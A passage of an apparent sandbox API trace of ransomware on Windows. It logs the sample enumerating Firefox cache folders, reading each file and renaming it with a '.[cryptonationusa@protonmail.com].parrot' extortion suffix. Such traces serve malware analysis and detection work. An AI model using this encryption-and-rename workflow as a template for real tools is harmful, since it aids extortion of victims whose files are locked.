cFileName="B60F3d01.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="B60F3D~1.PAR")) returned 1 [0087.008] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.009] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.009] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.009] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.009] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.009] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4898, dwReserved0=0x0, dwReserved1=0x0, cFileName="C3B7Bd01", cAlternateFileName="")) returned 1 [0087.010] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.010] ReadFile (in: hFile=0x278, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0087.011] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.012] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4898, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x4898, lpOverlapped=0x0) returned 1 [0087.012] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.013] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\a8\\c3b7bd01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\a8\\c3b7bd01.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0087.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223e470 | out: hHeap=0x5b0000) returned 1 [0087.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0087.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225c218 | out: hHeap=0x5b0000) returned 1 [0087.015] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.015] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc12d2be0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc12d2be0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.015] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xc12d2be0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x49b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="C3B7Bd01.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="C3B7BD~1.PAR")) returned 1 [0087.017] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.017] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.018] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb8c39470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc12d2be0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc12d2be0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="98", cAlternateFileName="")) returned 1 [0087.018] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc12d2be0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc12d2be0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A8", cAlternateFileName="")) returned 1 [0087.018] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc12d2be0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc12d2be0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A8", cAlternateFileName="")) returned 0 [0087.018] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ad008 | out: hHeap=0x5b0000) returned 1 [0087.018] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0087.018] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6acf40 | out: hHeap=0x5b0000) returned 1 [0087.019] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1", cAlternateFileName="")) returned 1 [0087.019] lstrcmpW (lpString1="1", lpString2=".") returned 1 [0087.019] lstrcmpW (lpString1="1", lpString2="..") returned 1 [0087.019] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.019] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.019] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.019] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.019] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.019] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7680bb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7680bb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7680bb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0B", cAlternateFileName="")) returned 1 [0087.019] lstrcmpW (lpString1="0B", lpString2=".") returned 1 [0087.019] lstrcmpW (lpString1="0B", lpString2="..") returned 1 [0087.019] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.020] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.020] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7680bb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7680bb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7680bb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.021] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.021] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.021] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7680bb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7680bb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7680bb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x204fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="FCBF5d01", cAlternateFileName="")) returned 1 [0087.022] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.022] ReadFile (in: hFile=0x278, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0087.039] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.039] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x204fd, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x204fd, lpOverlapped=0x0) returned 1 [0087.047] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.050] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\0b\\fcbf5d01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\0b\\fcbf5d01.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0087.051] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223e470 | out: hHeap=0x5b0000) returned 1 [0087.051] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0087.051] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31aa0a0 | out: hHeap=0x5b0000) returned 1 [0087.053] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.053] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7680bb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc1345000, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1345000, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.053] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7680bb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7680bb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc1345000, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x20618, dwReserved0=0x0, dwReserved1=0x0, cFileName="FCBF5d01.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="FCBF5D~1.PAR")) returned 1 [0087.053] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.054] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.054] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826bbed0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.054] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.054] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.054] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826bbed0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x8272e2f0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xaa05, dwReserved0=0x0, dwReserved1=0x0, cFileName="0B619d01", cAlternateFileName="")) returned 1 [0087.055] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.055] ReadFile (in: hFile=0x278, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0087.057] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.057] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xaa05, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0xaa05, lpOverlapped=0x0) returned 1 [0087.062] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.064] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\0B619d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\c2\\0b619d01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\0B619d01.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\c2\\0b619d01.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0087.066] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223e470 | out: hHeap=0x5b0000) returned 1 [0087.066] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0087.066] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264258 | out: hHeap=0x5b0000) returned 1 [0087.068] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.068] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826bbed0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc136b160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc136b160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.069] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826bbed0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xc136b160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xab28, dwReserved0=0x0, dwReserved1=0x0, cFileName="0B619d01.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="0B619D~1.PAR")) returned 1 [0087.069] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.069] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.069] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d7ec50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.069] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.069] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.069] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CBD4Dd01", cAlternateFileName="")) returned 1 [0087.070] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.070] ReadFile (in: hFile=0x278, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0087.112] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.112] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa60b, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0xa60b, lpOverlapped=0x0) returned 1 [0087.115] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.117] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\f6\\cbd4dd01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\f6\\cbd4dd01.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0087.118] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223e470 | out: hHeap=0x5b0000) returned 1 [0087.118] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0087.118] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264258 | out: hHeap=0x5b0000) returned 1 [0087.119] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.120] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc13dd580, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc13dd580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.120] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc13dd580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xa728, dwReserved0=0x0, dwReserved1=0x0, cFileName="CBD4Dd01.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CBD4DD~1.PAR")) returned 1 [0087.121] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 